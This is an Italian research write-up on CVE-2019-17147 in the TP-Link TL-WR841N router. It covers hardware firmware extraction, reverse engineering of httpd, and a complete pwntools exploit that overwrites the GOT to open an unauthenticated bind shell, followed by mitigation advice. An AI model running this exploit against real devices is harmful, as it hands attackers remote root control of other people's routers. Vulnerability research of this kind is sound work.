# Router Analysis and Exploitation: CVE-2019-17147 **Autori:** Angelo Zullo, Simone Vitto, Vincenzo Cantatore ## Sommario 1. [Introduzione](#1-introduzione) 2. [Creazione dell’infrastruttura](#2-creazione-dellinfrastruttura) * 2.1 [Analisi fisica del router](#21-analisi-fisica-del-router) * 2.2 [Dump del contenuto della memoria](#22-dump-del-contenuto-della-memoria) * 2.3 [Accesso alla console del router tramite porta UART](#23-accesso-alla-console-del-router-tramite-porta-uart) * 2.4 [Sostituzione del firmware attuale con la versione vulnerabile](#24-sostituzione-del-firmware-attuale-con-la-versione-vulnerabile) 11. [Scoperta ed exploitation della vulnerabilità](#3-scoperta-ed-exploitation-della-vulnerabilità) * 3.1 [Analisi statica](#31-analisi-statica) * 3.2 [Analisi dinamica](#32-analisi-dinamica) * 3.3 [Scrittura dell’exploit](#33-scrittura-dellexploit) 15. [Mitigazione della vulnerabilità](#4-mitigazione-della-vulnerabilità) 16. [Conclusioni](#5-conclusioni) --- ## 1. Introduzione Il presente documento analizza il processo di reverse engineering e di exploitation di una vulnerabilità critica su un dispositivo di rete commerciale. L'obiettivo è documentare le fasi necessarie per ottenere l'esecuzione di codice arbitrario (RCE), partendo dall'analisi hardware fino allo sviluppo di un exploit software funzionante. Il caso di studio esaminato riguarda il router **TP-Link TL-WR841N** (architettura **MIPSEL**), affetto dalla vulnerabilità nota come **CVE-2019-17147**. ![][image2] --- ## 2. Creazione dell’infrastruttura ### 2.1 Analisi fisica del router L'indagine preliminare ha richiesto l'apertura del case del dispositivo per consentire l'accesso diretto alla scheda madre (PCB). ![][image3] L'ispezione visiva dei circuiti integrati ha permesso di identificare i componenti chiave: la CPU, la memoria RAM e la memoria Flash. Sulla parte destra della PCB è stata individuata l'interfaccia UART, essenziale per le operazioni di debug. L'attenzione si è focalizzata sulla memoria Flash, componente deputato alla conservazione del firmware. ![][image4] Consultando il datasheet del chip **Feon QH32B-104HIP**, è stato confermato che si tratta di una memoria SPI (Serial Peripheral Interface) NOR Flash prodotta da Feon Microelectronics, con capacità di 32 Megabit e tensione operativa compresa tra 2,7 e 3,6 V. ![][image5] ### 2.2 Dump del contenuto della memoria Al fine di ottenere una copia di backup del firmware originale e analizzarne il contenuto, si procede con l'estrazione (dump) della memoria. Questa operazione è cruciale per prevenire la perdita definitiva del dispositivo in caso di errori critici (brick). Per la lettura si utilizza un programmatore **CH341A**, interfacciato direttamente al chip tramite una pinza **SOIC8** (In-Circuit Programming), evitando così operazioni di dissaldatura. ![][image6]![][image7] Mediante il tool `flashrom`, si verifica inizialmente il rilevamento del chip: ```bash sudo flashrom -p ch341a_spi ``` Successivamente, si esegue la lettura completa della memoria: ```bash sudo flashrom -p ch341a_spi -r dump.bin ``` Il firmware estratto viene salvato nel file `dump.bin`. Infine, si verifica l'integrità dei dati acquisiti: ```bash sudo flashrom -p ch341a_spi -v dump.bin ``` Il file ottenuto può essere utilizzato per il ripristino del sistema o sottoposto ad analisi per l'individuazione di credenziali o configurazioni sensibili. ### 2.3 Accesso alla console del router tramite porta UART Per stabilire una comunicazione seriale con il dispositivo, ci si connette all'interfaccia UART mediante un convertitore USB-TTL. I collegamenti effettuati sono: **GND-GND**, **TX-RX**, **RX-TX**. Il pin VCC viene isolato, in quanto l'alimentazione è fornita direttamente dall'alimentatore del router. ![][image8] Si configura il terminale seriale `minicom` con i seguenti parametri standard: ```bash sudo minicom -s ``` * `Serial Device`: `/dev/ttyUSB0` * `Bps/Par/Bits`: `115200 8N1` All'avvio del router, la console visualizza i log di boot. Al termine della procedura di avvio, l'interfaccia fornisce l'accesso a una shell di root senza richiedere credenziali di autenticazione. ![][image9] ### 2.4 Sostituzione del firmware attuale con la versione vulnerabile Per riprodurre la vulnerabilità, è necessario installare la versione firmware affetta dal bug: `TL-WR841N(US)_V14_180319`. Dato che il firmware vulnerabile non è più distribuito ufficialmente, è stato recuperato tramite archivi storici digitali (Wayback Machine). ![][image10] Dopo aver scaricato la versione corretta: ![][image11] Si nota una discrepanza hardware: il dispositivo in uso è versione **EU** (Europa), mentre il firmware vulnerabile è destinato alla versione **US**. Il flash diretto dell'intero file binario comporterebbe un alto rischio di brick, a causa delle differenze nel bootloader e nelle configurazioni radio. Si procede, pertanto, all'estrazione e sostituzione selettiva delle sole partizioni del sistema operativo. Utilizzando `binwalk`, si identificano gli offset delle partizioni: ```bash binwalk TL-WR841Nv14_US.bin ``` Si estraggono le partizioni di interesse (`boot`, `kernel`, `rootfs`) tramite `dd`: ```bash dd if=TL-WR841Nv14_US.bin of=mtd0_boot.bin bs=1 skip=53952 count=$((66560 - 53952)) dd if=TL-WR841Nv14_US.bin of=mtd1_kernel.bin bs=1 skip=66560 count=$((1049088 - 66560)) dd if=TL-WR841Nv14_US.bin of=mtd2_rootfs.bin bs=1 skip=1049088 ``` Per la scrittura sulla memoria flash del router, è necessario il tool `flashcp` (parte della suite `mtd-utils`) compilato per architettura **MIPSEL**. Per ottenerlo, si emula un ambiente MIPSEL tramite **QEMU**: ```bash qemu-system-mipsel \ -M malta -m 1G \ -kernel vmlinux-2.6.32-5-4kc-malta \ -hda debian_squeeze_mipsel_standard.qcow2 \ -append “root=/dev/hda1 console=ttyS0 ignore_loglevel” \ -serial mon:stdio \ -net nic -net user ``` ![][image12] All'interno dell'ambiente emulato, si installano le utility necessarie: ```bash apt-get install mtd-utils which flashcp ``` ![][image13] Per trasferire i file sul router, si predispone un server TFTP sulla macchina host: ```bash sudo atfpd --no-fork --daemon --port 6969 --bind-address 0.0.0.0 /srv/tftp ``` Dalla console del router, si scaricano `flashcp` e le partizioni estratte: ```bash tftp -g -r flashcp 192.168.1.2 6969 chmod +x flashcp tftp -g -r mtd0_boot.bin 192.168.1.2 6969 tftp -g -r mtd1_kernel.bin 192.168.1.2 6969 tftp -g -r mtd2_rootfs.bin 192.168.1.2 6969 ``` Infine, si esegue la riscrittura delle partizioni: ```bash ./flashcp mtd0_boot.bin /dev/mtd0 ./flashcp mtd1_kernel.bin /dev/mtd1 ./flashcp mtd2_rootfs.bin /dev/mtd2 ``` Il dispositivo è ora configurato con il firmware vulnerabile, pronto per la fase di analisi. --- ## 3. Scoperta ed exploitation della vulnerabilità ### 3.1 Analisi statica L'analisi del firmware inizia con l'estrazione del filesystem dalla partizione `rootfs.bin` tramite `binwalk -Me`. ![][image14] Esplorando la struttura delle directory: ![][image15] L'obiettivo è individuare binari esposti che gestiscano input esterni. Il target ideale è il servizio web di amministrazione, situato in `/usr/bin/httpd`. ![][image17] Httpd è l’acronimo di HyperText Protocol Daemon ed è un software che svolge la funzione di web server. Utilizziamo IDA per decompilare e analizzare il file: ![][image18] Il file viene analizzato con il disassemblatore **IDA Pro**. Fortunatamente il binario non è *stripped*, mantenendo visibili i simboli e i nomi delle funzioni, il che facilita notevolmente il reverse engineering. L'attenzione si concentra sulle funzioni di parsing, vettori comuni di vulnerabilità. ![][image19] Iniziamo analizzando la funzione `http_parser_main` che conterrà sicuramente la logica principale del parser. La prima cosa che notiamo è che, oltre ad una lunga lista di variabili all’inizio della funzione, c’è una chiamata alla funzione `memset`: ![][image20] Questa funzione azzera tutti i 512 byte di “buffer”, quindi mentre procediamo con l’analisi della funzione e rinominiamo tutte le variabili per una migliore comprensione, analizziamo in che maniera viene utilizzato questo buffer. ![][image21] ![][image22] Si osserva l'utilizzo di una funzione custom denominata `cstr_strncpy` per la gestione degli header HTTP (es. `Host`). Questa funzione accetta un parametro `copy_len` che determina la quantità di dati da copiare. Se questo parametro deriva dalla lunghezza dell'input utente anziché dalla dimensione del buffer di destinazione, si configura una vulnerabilità di tipo **Stack Buffer Overflow**. Confronto tra i prototipi: ```c char *strcpy(char *string1, const char *string2); void cstr_strncpy(char *dest_buffer, const char *src_buffer, int copy_len); ``` L'analisi del codice assembly MIPSEL conferma il comportamento della funzione: ![][image23] > **Importante:** lo snippet soprastante illustra la logica interna di `cstr_strncpy` e non costituisce il payload dell'exploit. **Analisi dei registri:** ```text 0x405DF4 cstr_strncpy call 0x405DE4 a0 = vuln_buff 0x405DEC a1 = $s7 0x405DF0 a2 = $v0 ``` Dove: * `a0` (vuln_buff): Buffer di destinazione (Stack). * `a1` ($s7): Stringa sorgente (Header HTTP controllato dall'utente). * `a2` ($v0): Lunghezza della copia (Lunghezza stringa sorgente). Un'altra funzione critica per l'exploit è `http_parser_argStrToList`, che converte una stringa in una struttura dati a lista concatenata (linked list). ![][image24] La struttura dati gestita è così composta: ![][image25] La struct contiene due puntatori fondamentali: al nodo precedente e al nodo successivo. ![][image26] L'operazione di scrittura in memoria avviene tramite l'istruzione `sw` (Store Word): ![][image47] ![][image27] Controllando il contenuto di questi puntatori tramite l'overflow, è possibile indirizzare l'istruzione `sw` verso un indirizzo arbitrario, realizzando una primitiva di scrittura **Write-What-Where**. Il codice completo delle funzioni analizzate è disponibile su GitHub: [https://github.com/imnot-ye/CVE-2019-17147/tree/main/Reversed%20Functions](https://github.com/imnot-ye/CVE-2019-17147/tree/main/Reversed%20Functions) ### 3.2 Analisi dinamica Per verificare l'overflow e studiare il comportamento del processo a runtime, si utilizza il debugging remoto. Viene caricato `gdbserver` (compilato per MIPSEL) sul router: ```bash tftp -g -r gdbserver 192.168.1.2 6969 chmod +x gdbserver ``` ![][image28] Si individua il PID del processo `httpd` (es. 320): ![][image29] Si avvia il debugger in ascolto sulla porta 4444: ```bash ./gdbserver 0.0.0.0:4444 –attach 320 ``` Dalla workstation di analisi, si avvia `gdb-multiarch` per la connessione remota. ![][image30] Viene utilizzato un primo script Python (PoC) per inviare un payload eccedente i 512 byte: ```python #!/usr/bin/python3 from pwn import * import sys import urllib.request import urllib.parse # ... (configurazione classi e connessione) ... def exploit(): target_ip = '192.168.0.1' w = WebService(target_ip) # Payload: 512 bytes di padding + overwrite host_padding = b'A' * 512 + b'A'*6 w.make_req('/qr.htm', host=host_padding) # Trigger parsing w.make_req('/qr.htm', {'_':'hello'}) print("[+] Done!") if __name__ == '__main__': exploit() ``` L'esecuzione del PoC causa il crash del servizio `httpd`. Analizzando il registro del crash in GDB: ![][image31]![][image32] Si osserva un tentativo di dereferenziazione dell'indirizzo **0x41414145** (corrispondente alla stringa "AAAE"). Il crash avviene all'interno di `http_parser_argStrToList`, confermando che l'overflow sovrascrive i puntatori della lista concatenata. Per pianificare l'exploit, è necessario analizzare le protezioni della memoria: * **Area dell'overflow:** Heap. * **Permessi:** Dall'analisi della mappa di memoria (`vmmap`), l'area Heap risulta avere permessi **RWX** (Read, Write, Execute). ![][image33] La presenza di un Heap eseguibile è una vulnerabilità critica che semplifica notevolmente l'attacco, permettendo l'esecuzione diretta di shellcode senza ricorrere a tecniche ROP complesse. ![][image34] Analizzando il contenuto della memoria dopo il crash, confermiamo il controllo sui dati: ![][image35] ### 3.3 Scrittura dell’exploit La strategia di exploitation si basa su tre pilastri: 1. **Possibilità di Overflow:** Capacità di scrivere oltre i limiti del buffer. 2. **Corruzione dei Puntatori:** Controllo dei puntatori `next` e `prev` della struct, permettendo scritture arbitrarie (Write-What-Where). 3. **Heap Eseguibile:** Possibilità di eseguire codice iniettato. La tecnica scelta consiste nel sovrascrivere una voce della **Global Offset Table (GOT)**. Il target ideale è la funzione `atol`, frequentemente chiamata dal programma. Sovrascrivendo l'indirizzo di `atol` nella GOT con l'indirizzo del nostro shellcode (iniettato nell'Heap), otterremo l'esecuzione arbitraria alla successiva chiamata di tale funzione. #### Fase di debugging e raffinamento Durante i test iniziali, si è osservato il comportamento della sovrascrittura: ![][image36] Il meccanismo di aggiornamento della lista concatenata copia i dati dallo stack all'indirizzo puntato dai registri corrotti. ![][image37] Inviando un payload malevolo: ![][image38] I puntatori della lista vengono sovrascritti. La logica della lista concatenata ("unlink" o aggiornamento nodi) utilizza questi indirizzi corrotti per effettuare scritture. Se controlliamo `next` e `prev`, controlliamo **dove** e **cosa** viene scritto. ![][image39] Durante lo sviluppo dell'exploit, è emersa una problematica legata ai "Bad Characters". ![][image40] L'indirizzo target conteneva un byte nullo (`\x00`). La funzione `strcpy` termina la copia al primo byte nullo, troncando il payload e rendendo l'attacco inefficace. ![][image41] #### Soluzione: Staged Payload Per aggirare la limitazione dei byte nulli, si adotta una tecnica di iniezione a stadi ("Staged Injection"). Poiché il processo riutilizza la stessa area di memoria (Heap) persistente, è possibile inviare più richieste consecutive per comporre il payload finale in memoria un pezzo alla volta. ```python # Stage 1: Iniezione Shellcode (parte alta) payload_1= host_padding + b'AAAA' + p32(shellcode_addr, endian='little') w.make_req('/qr.htm', host=payload_1) # Stage 2: Scrittura indirizzo GOT (aggira il null byte finale) print("[+] Overflowing buffer") payload_2 = host_padding + p32(atol_got_addr, endian='little') w.make_req('/qr.htm', host=payload_2) ``` ![][image42] #### Riepilogo tecnico dell'attacco * **Vulnerabilità:** Stack-based Buffer Overflow in `cstr_strncpy`. * **Vettore:** Manipolazione puntatori Linked List (`http_parser_argStrToList`). * **Payload:** Shellcode MIPS (Bind Shell). * **Esecuzione:** Heap Spraying + GOT Overwrite (`atol` -> `Shellcode`). #### Codice finale dell'exploit Il seguente script Python automatizza l'intero processo: ```python #!/usr/bin/python3 from pwn import * import sys import urllib.request import urllib.parse context.clear() context.arch = 'mips' context.bits = 32 context.endian = 'little' class WebService: def __init__(self, ip, port=80): self.rooturl = "http://" + ip + ':' + str(port) def make_req(self, path, arg=None, host='192.168.0.1', has_ContentLength=False): headers = {'Host': host} if has_ContentLength: headers['Content-Length'] = '0' if arg is not None: parameter = arg parameter = urllib.parse.urlencode(parameter) fullurl = self.rooturl + path + '?' + parameter else: fullurl = self.rooturl + path req = urllib.request.Request(fullurl, None, headers) response = urllib.request.urlopen(req) data = response.read() return data def shellcode(port=31337): # Generazione shellcode Bind Shell shellcode = shellcraft.mips.linux.bindsh(port) return asm(shellcode) def exploit(): target_ip = '192.168.0.1' w = WebService(target_ip) # Indirizzi target (specifici per questa versione firmware) atol_got_addr = 0x423774 - 4 host_padding = b'a' * 512 shellcode_addr = 0x438174 print(f"[*] Attacking target: {target_ip}") print(f"[*] GOT Address (atol): {hex(atol_got_addr)}") # Stage 1: Scrittura indirizzo Shellcode print("[*] Stage 1: Writing Shellcode Address...") host_str = host_padding + b'AAAA' + p32(shellcode_addr, endian='little') w.make_req('/qr.htm', host=host_str) # Stage 2: Scrittura indirizzo GOT print("[*] Stage 2: Writing GOT Address...") host_str = host_padding + p32(atol_got_addr, endian='little') w.make_req('/qr.htm', host=host_str) # Stage 3: Trigger Write-What-Where print("[*] Stage 3: Overwriting GOT entry...") w.make_req('/qr.htm', {'_':'hello'}) # Stage 4: Invio Payload Shellcode print("[*] Stage 4: Sending Shellcode payload...") # NOP Sled + Shellcode host_str = b'q'*0x40 + shellcode(31337) w.make_req('/qr.htm', host=host_str) # Stage 5: Hijacking flusso di esecuzione print("[*] Stage 5: Triggering execution via atol()...") try: # Forza chiamata ad atol tramite Content-Length w.make_req('/qr.htm', has_ContentLength=True) except Exception: pass print("[+] Exploit sent! Try connecting: nc 192.168.0.1 31337") if __name__ == '__main__': exploit() ``` Eseguendo l'exploit: ![][image43] È possibile connettersi alla shell remota ottenuta sulla porta 31337: ![][image44] L'accesso root al sistema è stato ottenuto con successo. --- ## 4. Mitigazione della vulnerabilità La correzione della vulnerabilità a livello di codice sorgente richiede l'implementazione di controlli sulla lunghezza dei dati copiati. È imperativo non utilizzare la lunghezza della stringa sorgente come limite per la copia. **Correzione proposta (Secure Coding):** Utilizzare la dimensione del buffer di destinazione come limite invalicabile: ```c // Errato: cstr_strncpy(&buffer, header_value, strlen(header_value)); // Corretto: size_t buffer_len = sizeof(buffer); cstr_strncpy(&buffer, header_value, buffer_len - 1); ``` Inoltre, l'assenza di protezioni standard a livello di compilazione aggrava notevolmente il rischio. Sebbene non sia possibile confermare la stabilità del sistema con tutte le protezioni attive senza test approfonditi, è fortemente raccomandato abilitare il bit **NX (No-Execute)** per rendere stack e heap non eseguibili. Questo avrebbe impedito l'esecuzione diretta dello shellcode iniettato nell'heap. --- ## 5. Conclusioni Il presente studio ha analizzato in dettaglio la vulnerabilità **CVE-2019-17147**, dimostrando come un errore di validazione dell'input in un componente critico come il web server possa compromettere l'intera sicurezza del dispositivo. La vulnerabilità è classificata con un punteggio **CVSS v3.1 di 8.8 (High)**, indice di un rischio elevato dovuto alla facilità di sfruttamento (nessuna autenticazione richiesta, attacco via rete locale) e all'impatto totale su confidenzialità, integrità e disponibilità. Riferimento ufficiale: [NIST NVD - CVE-2019-17147](https://nvd.nist.gov/vuln/detail/CVE-2019-17147) ![][image45]![][image46] L'analisi evidenzia l'importanza cruciale di mantenere aggiornato il firmware dei dispositivi di rete e sottolinea la necessità, per i produttori, di adottare pratiche di sviluppo sicuro (Secure Coding) e di implementare le moderne protezioni dei binari (Exploit Mitigation) per ridurre la superficie di attacco. --- [image1]: https://i.imgur.com/57h4lq9.png [image2]: https://i.imgur.com/9FyOyA8.png [image3]: https://i.imgur.com/r2KRvyd.png [image4]: https://i.imgur.com/eNq1fy1.png [image5]: https://i.imgur.com/4hLGnr1.png [image6]: https://i.imgur.com/DXMTLqB.png [image7]: https://i.imgur.com/lPxHp1d.png [image8]: https://i.imgur.com/1zxGWQF.png [image9]: https://i.imgur.com/RdNmm21.png [image10]: https://i.imgur.com/5By4Yks.png [image11]: https://i.imgur.com/cG21KXP.png [image12]: https://i.imgur.com/esYYq3a.png [image13]: https://i.imgur.com/SHSgop2.png [image14]: https://i.imgur.com/G4fRMR0.png [image15]: https://i.imgur.com/f7kelSK.png [image16]: https://imgur.com/Pg4pJoW [image17]: https://i.imgur.com/A9bGDkY.png [image18]: https://i.imgur.com/fFJk85Y.png [image19]: https://i.imgur.com/C4QzgrS.png [image20]: https://i.imgur.com/o8mTQdr.png [image21]: https://i.imgur.com/S9MoFgC.png [image22]: https://i.imgur.com/xDCXqGs.png [image23]: https://i.imgur.com/eUA3HiB.png [image24]: https://i.imgur.com/5aNZeAK.png [image25]: https://i.imgur.com/YAGxXgK.png [image26]: https://i.imgur.com/97GFrit.png [image27]: https://i.imgur.com/1XtoxzV.png [image28]: https://i.imgur.com/GuPxiBC.png [image29]: https://i.imgur.com/VOndPog.png [image30]: https://i.imgur.com/IZE2pks.png [image31]: https://i.imgur.com/Mcwofms.png [image32]: https://i.imgur.com/0Tf9ovL.png [image33]: https://i.imgur.com/miaXTwA.png [image34]: https://i.imgur.com/0Qx25gg.png [image35]: https://i.imgur.com/zkplkQi.png [image36]: https://i.imgur.com/9EUgeh2.png [image37]: https://i.imgur.com/Il4dma9.png [image38]: https://i.imgur.com/BHwGcO5.png [image39]: https://i.imgur.com/TKLnVo9.png [image40]: https://i.imgur.com/ArVJX51.png [image41]: https://i.imgur.com/DLK0K2A.png [image42]: https://i.imgur.com/pPcii46.png [image43]: https://i.imgur.com/I45F1th.png [image44]: https://i.imgur.com/72adjQX.png [image45]: https://i.imgur.com/AH3nyCz.png [image46]: https://i.imgur.com/BNZrOUc.png [image47]:https://i.imgur.com/8WepAhY.png